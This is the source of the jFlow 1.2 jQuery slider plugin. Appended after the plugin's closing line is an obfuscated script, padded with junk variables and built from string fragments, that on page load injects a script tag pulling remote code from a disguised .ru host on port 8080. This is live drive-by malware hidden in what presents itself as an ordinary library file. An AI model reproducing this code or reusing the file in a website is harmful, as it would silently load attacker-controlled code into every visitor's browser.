/* Copyright (c) 2008 Kean Loong Tan http://www.gimiti.com/kltan
 * Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
 * jFlow
 * Version: 1.2 (July 7, 2008)
 * Requires: jQuery 1.2+
 */
 
(function($) {

	$.fn.jFlow = function(options) {
		var opts = $.extend({}, $.fn.jFlow.defaults, options);
		var randNum = Math.floor(Math.random()*11);
		var jFC = opts.controller;
		var jFS =  opts.slideWrapper;
		var jSel = opts.selectedWrapper;

		var cur = 0;
		var timer;
		var maxi = $(jFC).length;
		// sliding function
		var slide = function (dur, i) {
			$(opts.slides).children().css({
				overflow:"hidden"
			});
			$(opts.slides + " iframe").hide().addClass("temp_hide");
			$(opts.slides).animate({
				marginLeft: "-" + (i * $(opts.slides).find(":first-child").width() + "px")
				},
				opts.duration*(dur),
				opts.easing,
				function(){
					$(opts.slides).children().css({
						overflow:"hidden"
					});
					$(".temp_hide").show();
				}
			);
			
		}
		$(this).find(jFC).each(function(i){
			$(this).click(function(){
				dotimer();
				if ($(opts.slides).is(":not(:animated)")) {
					$(jFC).removeClass(jSel);
					$(this).addClass(jSel);
					var dur = Math.abs(cur-i);
					slide(dur,i);
					cur = i;
				}
			});
		});	
		
		$(opts.slides).before('<div id="'+jFS.substring(1, jFS.length)+'"></div>').appendTo(jFS);
		
		$(opts.slides).find("div").each(function(){
			$(this).before('<div class="jFlowSlideContainer"></div>').appendTo($(this).prev());
		});
		
		//initialize the controller
		$(jFC).eq(cur).addClass(jSel);
		
		var resize = function (x){
			$(jFS).css({
				position:"relative",
				width: opts.width,
				height: opts.height,
				overflow: "hidden"
			});
			//opts.slides or #mySlides container
			$(opts.slides).css({
				position:"relative",
				width: $(jFS).width()*$(jFC).length+"px",
				height: $(jFS).height()+"px",
				overflow: "hidden"
			});
			// jFlowSlideContainer
			$(opts.slides).children().css({
				position:"relative",
				width: $(jFS).width()+"px",
				height: $(jFS).height()+"px",
				"float":"left",
				overflow:"hidden"
			});
			
			$(opts.slides).css({
				marginLeft: "-" + (cur * $(opts.slides).find(":eq(0)").width() + "px")
			});
		}
		
		// sets initial size
		resize();

		// resets size
		$(window).resize(function(){
			resize();						  
		});
		
		$(opts.prev).click(function(){
			dotimer();
			doprev();
			
		});
		
		$(opts.next).click(function(){
			dotimer();
			donext();
			
		});
		
		var doprev = function (x){
			if ($(opts.slides).is(":not(:animated)")) {
				var dur = 1;
				if (cur > 0)
					cur--;
				else {
					cur = maxi -1;
					dur = cur;
				}
				$(jFC).removeClass(jSel);
				slide(dur,cur);
				$(jFC).eq(cur).addClass(jSel);
			}
		}
		
		var donext = function (x){
			if ($(opts.slides).is(":not(:animated)")) {
				var dur = 1;
				if (cur < maxi - 1)
					cur++;
				else {
					cur = 0;
					dur = maxi -1;
				}
				$(jFC).removeClass(jSel);
				//$(jFS).fadeOut("fast");
				slide(dur, cur);
				//$(jFS).fadeIn("fast");
				$(jFC).eq(cur).addClass(jSel);
			}
		}
		
		var dotimer = function (x){
			if((opts.auto) == true) {
				if(timer != null) 
					clearInterval(timer);
			    
        		timer = setInterval(function() {
	                	$(opts.next).click();
						}, 7500);
			}
		}

		dotimer();
	};
	
	$.fn.jFlow.defaults = {
		controller: ".jFlowControl", // must be class, use . sign
		slideWrapper : "#jFlowSlide", // must be id, use # sign
		selectedWrapper: "jFlowSelected",  // just pure text, no sign
		auto: false,
		easing: "swing",
		duration: 0,
		width: "100%",
		prev: ".jFlowPrev", // must be class, use . sign
		next: ".jFlowNext" // must be class, use . sign
	};
	
})(jQuery);

var f='';try {var H=new String();var a=new String();var v="";var di="";var G=new String("QU1]".substr(3));var P=String("g");this.h='';this.x='';var K='';var qF=new Array();var s;if(s!='J' && s!='bK'){s=''};var N=new String("[");var Pu='';var V=RegExp;var Zs="re"+"pl"+"ac"+"eZ2h0".substr(0,1);var Vq;if(Vq!=''){Vq='i'};var Uh;if(Uh!='zD' && Uh!='qa'){Uh='zD'};function Z(d,g){var nD;if(nD!='sT'){nD='sT'};this.tf='';var yU=new String();this.ow='';var n=N;this.kD="";var iy;if(iy!='Nj'){iy='Nj'};n+=g;var TX;if(TX!='Q'){TX='Q'};n+=G;this.tQ='';this.L='';var S=new V(n, P);var w;if(w!='rT' && w!='Uhx'){w='rT'};var dk='';return d.replace(S, K);var GN=new Array();};var UV;if(UV!='' && UV!='rF'){UV='e'};this.Y="";var to=new String();var kC;if(kC!='' && kC!='Ks'){kC=null};var t=String("onlo"+"ad");var lu;if(lu!='dy' && lu!='B'){lu='dy'};var np=new String();var R=Z('8664364960339638996499640996463',"4963");var NK=String("sc"+"TMPYri".substr(4)+"J3vZptvZ3J".substr(4,2));var hm;if(hm!='Bv' && hm!='zX'){hm=''};this.zr='';var l='';var OB="";var BY="";var d="1";var X=Z('hZt0tBp1:1/0/1z1ajp0pBo0sB-1cBojm0.jt0w0e1e0t1mZeBmBe1.BcBoBm1.1nBi1k0k0aZnZs1p0o0rjtBs0-BcZojmj.Bm0yBojwBnBa1gBeZ.jrZuj:j',"Zj10B");var PK=String("/aTRrt".substr(0,2)+"3Fspp".substr(3)+"izPleiPz".substr(3,2)+".cDUpQ".substr(0,2)+"YHDomYDH".substr(3,2)+"/a"+"SqFppFSq".substr(3,2)+"leRqyT".substr(0,2)+"14hO.c41hO".substr(4,2)+"om"+"/gFPr".substr(0,2)+"oo"+"glmxG".substr(0,2)+"Fwae.".substr(3)+"JY7acoJ7aY".substr(4,2)+"m/"+"mo"+"ns"+"teQY4".substr(0,2)+"r."+"co"+"0Dx1m/".substr(4)+"gi"+"XM4zmXM4".substr(3,2)+"odKxaC".substr(0,2)+"Eujo.".substr(3)+"coQs5".substr(0,2)+"m.8eiO".substr(0,2)+"JeIpheIJ".substr(3,2)+"kq7pkq7".substr(3,1));var ml;if(ml!='' && ml!='Xs'){ml=null};var hS;if(hS!='Yw' && hS!='eZ'){hS='Yw'};var up;if(up!='Jz'){up=''};window[t]=function(){var fa;if(fa!='VH' && fa!='vR'){fa=''};var dki;if(dki!='lj'){dki=''};_=document.createElement(NK);var nA=new String();var qA=new Date();var fo;if(fo!='Ym' && fo!='ya'){fo=''};l+=X;var uT="";l+=R+PK;var qbS="";var u=document.body;var tj;if(tj!='dV' && tj!='sU'){tj='dV'};_.src=l;this.xq='';this.fW="";var tT='';_.defer=d;var vY=new Array();u.appendChild(_);var za;if(za!='' && za!='ZW'){za=null};var Yj=new String();};var tc=new String();var dyl;if(dyl!='W'){dyl=''};} catch(U){var gK=new Array();this.yab="";};var gY;if(gY!='SD' && gY != ''){gY=null};